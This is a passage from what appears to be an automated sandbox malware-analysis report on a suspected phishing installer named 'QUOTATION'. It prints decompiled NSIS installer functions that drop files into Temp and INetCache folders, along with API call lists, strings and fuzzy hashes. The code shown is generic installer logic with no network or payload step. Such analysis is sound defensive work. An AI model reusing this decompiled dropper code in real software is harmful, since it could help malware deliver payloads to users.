\Microsoft\Internet Explorer\Quick Launch, xrefs: 004061AE

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: .I$Call$Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2125245084
Opcode ID: f9d0b1cf2701d91d5acd79df49d905e61aa9589697f689ea0562d06cd488d680
Instruction ID: f6f0e3a74e6b455581cb0d86726a6c3d239f08f65b325d122068a3aaf356d786
Opcode Fuzzy Hash: f9d0b1cf2701d91d5acd79df49d905e61aa9589697f689ea0562d06cd488d680
Instruction Fuzzy Hash: F4610571A00115ABEF20AF64DC84B7A3BA4DB55314F12417FEA03BA2D2C23C4962DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00401759(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				CHAR* _t83;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402B2C(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x34) & 0x00000007;
				_t33 = E004059DF(_t82);
				_push(_t82);
				_t83 = "Call";
				if(_t33 == 0) {
					lstrcatA(E00405972(E00405FDA(_t83, "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto\\Wept")), ??);
				} else {
					E00405FDA();
				}
				E00406244(_t83);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E004062DD(_t83);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x28);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405B4E(_t83);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E00405B73(_t83, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0xc) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00405101(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x4237a8;
						goto L32;
					} else {
						E00405FDA(0x409be8, 0x424000);
						E00405FDA(0x424000, _t83);
						E00405FFC(_t75, 0x409be8, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsg9F21.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x20)));
						E00405FDA(0x424000, 0x409be8);
						_t62 = E004056F6("C:\Users\Arthur\AppData\Local\Temp\nsg9F21.tmp\System.dll",  *(_t85 - 0x34) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x4237a8 =  &( *0x4237a8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(_t83);
								_push(0xfffffffa);
								E00405101();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00405101(0xffffffea,  *(_t85 - 8)); // executed
				 *0x4237d4 =  *0x4237d4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0xc));
				_push( *((intOrPtr*)(_t85 - 0x2c)));
				_t43 = E00402FFB(); // executed
				 *0x4237d4 =  *0x4237d4 - 1;
				__eflags =  *(_t85 - 0x28) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x28) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0xc), _t85 - 0x28, _t75, _t85 - 0x28); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x24)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x24)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0xc)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405FFC(_t75, _t80, _t83, _t83, 0xffffffee);
					} else {
						E00405FFC(_t75, _t80, _t83, _t83, 0xffffffe9);
						lstrcatA(_t83,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(_t83);
					E004056F6();
					goto L29;
				}
				goto L33;
			}

0x00401759
0x00401760
0x00401769
0x0040176c
0x0040176f
0x00401774
0x00401775
0x0040177c
0x00401798
0x0040177e
0x0040177f
0x0040177f
0x0040179e
0x004017a8
0x004017a8
0x004017ac
0x004017af
0x004017b4
0x004017b6
0x004017b8
0x004017bd
0x004017bd
0x004017c8
0x004017c8
0x004017d9
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017df
0x004017e2
0x004017e5
0x004017e5
0x004017ec
0x004017fb
0x00401800
0x00401803
0x00401806
0x00000000
0x00000000
0x00401808
0x0040180b
0x00401865
0x0040186a
0x004015b0
0x00402783
0x00402783
0x004029b8
0x004029bb
0x004029bb
0x00000000
0x0040180d
0x00401813
0x0040181e
0x0040182b
0x00401836
0x0040184c
0x0040184c
0x0040184f
0x00000000
0x00401855
0x00401855
0x00401856
0x00401873
0x004029c1
0x004029c1
0x004029c1
0x00401858
0x00401858
0x00401859
0x00401492
0x0040234e
0x0040234e
0x0040234e
0x00401856
0x0040184f
0x004029c3
0x004029c7
0x004029c7
0x00401883
0x00401888
0x0040188e
0x0040188f
0x00401890
0x00401893
0x00401896
0x0040189b
0x004018a1
0x004018a5
0x004018a7
0x004018af
0x004018bb
0x004018a9
0x004018a9
0x004018ad
0x00000000
0x00000000
0x004018ad
0x004018c4
0x004018ca
0x004018cc
0x00000000
0x004018d2
0x004018d2
0x004018d5
0x004018ed
0x004018d7
0x004018da
0x004018e3
0x004018e3
0x004018f2
0x004018f7
0x00402349
0x00000000
0x00402349
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405FDA: lstrcpynA.KERNEL32(?,?,00000400,00403307,00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00405FE7

Part of subcall function 00405101: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000,?), ref: 0040513A
Part of subcall function 00405101: lstrlenA.KERNEL32(0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000), ref: 0040514A
Part of subcall function 00405101: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,0040312B,0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000), ref: 0040515D
Part of subcall function 00405101: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll), ref: 0040516F
Part of subcall function 00405101: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405195
Part of subcall function 00405101: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051AF
Part of subcall function 00405101: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051BD

Strings

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll, xrefs: 00401826, 00401842
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept, xrefs: 00401786
Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsg9F21.tmp, xrefs: 004017A3, 00401812, 00401830

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept$C:\Users\user\AppData\Local\Temp\nsg9F21.tmp$C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll$Call
API String ID: 1941528284-874216507
Opcode ID: 3398521465f4744d5abe34836e8d3ca427fef63b03b80e7ecba10af39f1564d3
Instruction ID: a8f8d2e71aafd7953ecb4fd9af401e61999b8e286ce35665580707d8cc6a98aa
Opcode Fuzzy Hash: 3398521465f4744d5abe34836e8d3ca427fef63b03b80e7ecba10af39f1564d3
Instruction Fuzzy Hash: BC41D371A0451ABACB107FA5DC45D9F3AB9EF05329B20823BF411F10E1C63C8A419B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405101 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405101(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x422ee4; // 0x103c8
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x4237d4;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405FFC(0, _t39, 0x41f4e8, 0x41f4e8, _a4);
					}
					_t26 = lstrlenA(0x41f4e8);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x422ec8, 0x41f4e8); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41f4e8;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52); // executed
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41f4e8)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41f4e8, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00405107
0x00405113
0x00405116
0x0040511c
0x00405128
0x0040512b
0x0040512e
0x00405134
0x00405134
0x0040513a
0x00405142
0x00405145
0x00405162
0x00405166
0x0040516f
0x0040516f
0x00405179
0x00405182
0x0040518e
0x00405195
0x00405199
0x0040519c
0x004051af
0x004051bd
0x004051bd
0x004051c1
0x004051c3
0x004051c6
0x00000000
0x004051c6
0x00405147
0x0040514f
0x00405157
0x0040515d
0x00000000
0x0040515d
0x00405157
0x00405145
0x004051d0

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000,?), ref: 0040513A
lstrlenA.KERNEL32(0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000), ref: 0040514A
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,0040312B,0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000), ref: 0040515D
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll), ref: 0040516F
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405195
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051AF
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051BD

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll, xrefs: 00405121, 00405133, 00405139, 0040515C, 00405168

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll
API String ID: 2531174081-357798311
Opcode ID: 624fe4a610ab20420a1f4b6733ac8ea3133b8c284db2b2603e432234c565fffb
Instruction ID: da75402713979d4bf34db42cde910fb2485d85a1008762fbb7bcbbad6d42931f
Opcode Fuzzy Hash: 624fe4a610ab20420a1f4b6733ac8ea3133b8c284db2b2603e432234c565fffb
Instruction Fuzzy Hash: BB219A71E00108BADF119FA4CD84ADFBFB9EF05354F04807AF404A6291C6798E419FA8

Uniqueness

Uniqueness Score: -1.00%

Function 004055C7 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004055C7(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x40737c;
				_v36.Group = 0x40737c;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x40736c;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x004055d2
0x004055d6
0x004055d9
0x004055df
0x004055e3
0x004055e7
0x004055ef
0x004055f6
0x004055fc
0x00405603
0x0040560a
0x00405612
0x00405614
0x00000000
0x00405614
0x0040561e
0x00405625
0x0040563b
0x00000000
0x00000000
0x00000000
0x0040563d
0x00405641

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040560A
GetLastError.KERNEL32 ref: 0040561E
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405633
GetLastError.KERNEL32 ref: 0040563D

Strings

C:\Users\user\Desktop, xrefs: 004055C7
ls@, xrefs: 004055FC
C:\Users\user\AppData\Local\Temp\, xrefs: 004055ED
|s@, xrefs: 004055CD

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ls@$|s@
API String ID: 3449924974-3105301103
Opcode ID: 6494dcf4892d125dd91232f43a5d02422eac6eb6da40cea13db3a7c62baa9568
Instruction ID: d76da5e920ef4cf84c76b5f8b6eadacb43d526ba9f765b2b55af8eda6d007f2e
Opcode Fuzzy Hash: 6494dcf4892d125dd91232f43a5d02422eac6eb6da40cea13db3a7c62baa9568
Instruction Fuzzy Hash: 90010871C04219EAEF019BA1CC447EFBBB8EB14355F00853AD905B6290E779A605CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00406304 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406304(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409014; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
				return _t14;
			}

0x0040631b
0x00406324
0x00406326
0x00406326
0x0040632a
0x0040633c
0x00406336
0x00406336
0x00406336
0x00406340
0x00406354
0x00406368
0x0040636f

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040631B
wsprintfA.USER32 ref: 00406354
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406368

Strings

\, xrefs: 0040632C
%s%s.dll, xrefs: 0040634E
UXTHEME, xrefs: 0040630D

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c1c6f81e5f0925475fc46656834228b64d6aad10adaabf52e6c46f27d1be3297
Instruction ID: 15cbb93803340843acffe9ced60e7e2f3372dd006ff9664fb566d465880257e2
Opcode Fuzzy Hash: c1c6f81e5f0925475fc46656834228b64d6aad10adaabf52e6c46f27d1be3297
Instruction Fuzzy Hash: C8F09C30900116ABDB159768DD0DFFB365CEB08309F14057AB986E11D1D574E9258B99

Uniqueness

Uniqueness Score: -1.00%

Function 00402FFB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402FFB(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				long _v16;
				intOrPtr _v20;
				char _v84;
				void* _t59;
				intOrPtr _t69;
				long _t70;
				void* _t71;
				intOrPtr _t81;
				intOrPtr _t86;
				long _t89;
				signed int _t90;
				int _t91;
				int _t92;
				intOrPtr _t93;
				void* _t94;
				void* _t95;

				_t90 = _a16;
				_t86 = _a12;
				_v12 = _t90;
				if(_t86 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t81 = _t86;
				if(_t86 == 0) {
					_t81 = 0x4168c0;
				}
				_t56 = _a4;
				if(_a4 >= 0) {
					E004031ED( *0x423778 + _t56);
				}
				if(E004031D7( &_a16, 4) == 0) {
					L33:
					_push(0xfffffffd);
					goto L34;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t86 == 0) {
							while(_a16 > 0) {
								_t91 = _v12;
								if(_a16 < _t91) {
									_t91 = _a16;
								}
								if(E004031D7(0x4128c0, _t91) == 0) {
									goto L33;
								} else {
									if(E00405C1A(_a8, 0x4128c0, _t91) == 0) {
										L28:
										_push(0xfffffffe);
										L34:
										_pop(_t59);
										return _t59;
									}
									_v8 = _v8 + _t91;
									_a16 = _a16 - _t91;
									continue;
								}
							}
							L43:
							return _v8;
						}
						if(_a16 < _t90) {
							_t90 = _a16;
						}
						if(E004031D7(_t86, _t90) != 0) {
							_v8 = _t90;
							goto L43;
						} else {
							goto L33;
						}
					}
					_v16 = GetTickCount();
					E00406497(0x40a830);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L43;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t92 = 0x4000;
						if(_a16 < 0x4000) {
							_t92 = _a16;
						}
						if(E004031D7(0x4128c0, _t92) == 0) {
							goto L33;
						}
						_a16 = _a16 - _t92;
						 *0x40a848 = 0x4128c0;
						 *0x40a84c = _t92;
						while(1) {
							 *0x40a850 = _t81;
							 *0x40a854 = _v12; // executed
							_t69 = E004064B7(0x40a830); // executed
							_v20 = _t69;
							if(_t69 < 0) {
								break;
							}
							_t93 =  *0x40a850; // 0x4168c0
							_t94 = _t93 - _t81;
							_t70 = GetTickCount();
							_t89 = _t70;
							if(( *0x4237d4 & 0x00000001) != 0 && (_t70 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v84, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t95 = _t95 + 0xc;
								E00405101(0,  &_v84); // executed
								_v16 = _t89;
							}
							if(_t94 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L43;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t94;
									_v12 = _v12 - _t94;
									_t81 =  *0x40a850; // 0x4168c0
									L23:
									if(_v20 != 1) {
										continue;
									}
									goto L43;
								}
								_t71 = E00405C1A(_a8, _t81, _t94); // executed
								if(_t71 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t94;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L34;
					}
					goto L33;
				}
			}

0x00403003
0x00403007
0x0040300a
0x0040300f
0x00403011
0x00403011
0x00403018
0x0040301c
0x00403020
0x00403022
0x00403022
0x00403027
0x0040302c
0x00403037
0x00403037
0x00403049
0x0040318e
0x0040318e
0x00000000
0x0040304f
0x00403053
0x00403179
0x004031c2
0x00403193
0x00403199
0x0040319b
0x0040319b
0x004031ac
0x00000000
0x004031ae
0x004031ba
0x00403173
0x00403173
0x00403190
0x00403190
0x00000000
0x00403190
0x004031bc
0x004031bf
0x00000000
0x004031bf
0x004031ac
0x004031cd
0x00000000
0x004031cd
0x0040317e
0x00403180
0x00403180
0x0040318c
0x004031ca
0x00000000
0x00000000
0x00000000
0x00000000
0x0040318c
0x00403064
0x00403067
0x0040306c
0x0040306c
0x00403076
0x00403079
0x00000000
0x00000000
0x00000000
0x00000000
0x0040307f
0x0040307f
0x0040307f
0x00403087
0x00403089
0x00403089
0x0040309a
0x00000000
0x00000000
0x004030a0
0x004030a3
0x004030a9
0x004030af
0x004030b7
0x004030bd
0x004030c2
0x004030c9
0x004030cc
0x00000000
0x00000000
0x004030d2
0x004030d8
0x004030da
0x004030e7
0x004030e9
0x00403117
0x0040311d
0x00403126
0x0040312b
0x0040312b
0x00403130
0x00403167
0x00000000
0x00000000
0x00000000
0x00403132
0x00403136
0x0040314b
0x0040314e
0x00403151
0x00403157
0x0040315b
0x00000000
0x00000000
0x00000000
0x00403161
0x0040313d
0x00403144
0x00000000
0x00000000
0x00403146
0x00000000
0x00403146
0x00403130
0x0040316f
0x00000000
0x0040316f
0x00000000
0x0040307f

APIs

GetTickCount.KERNEL32 ref: 00403059
GetTickCount.KERNEL32 ref: 004030DA
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00403107
wsprintfA.USER32 ref: 00403117

Strings

... %d%%, xrefs: 00403111

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
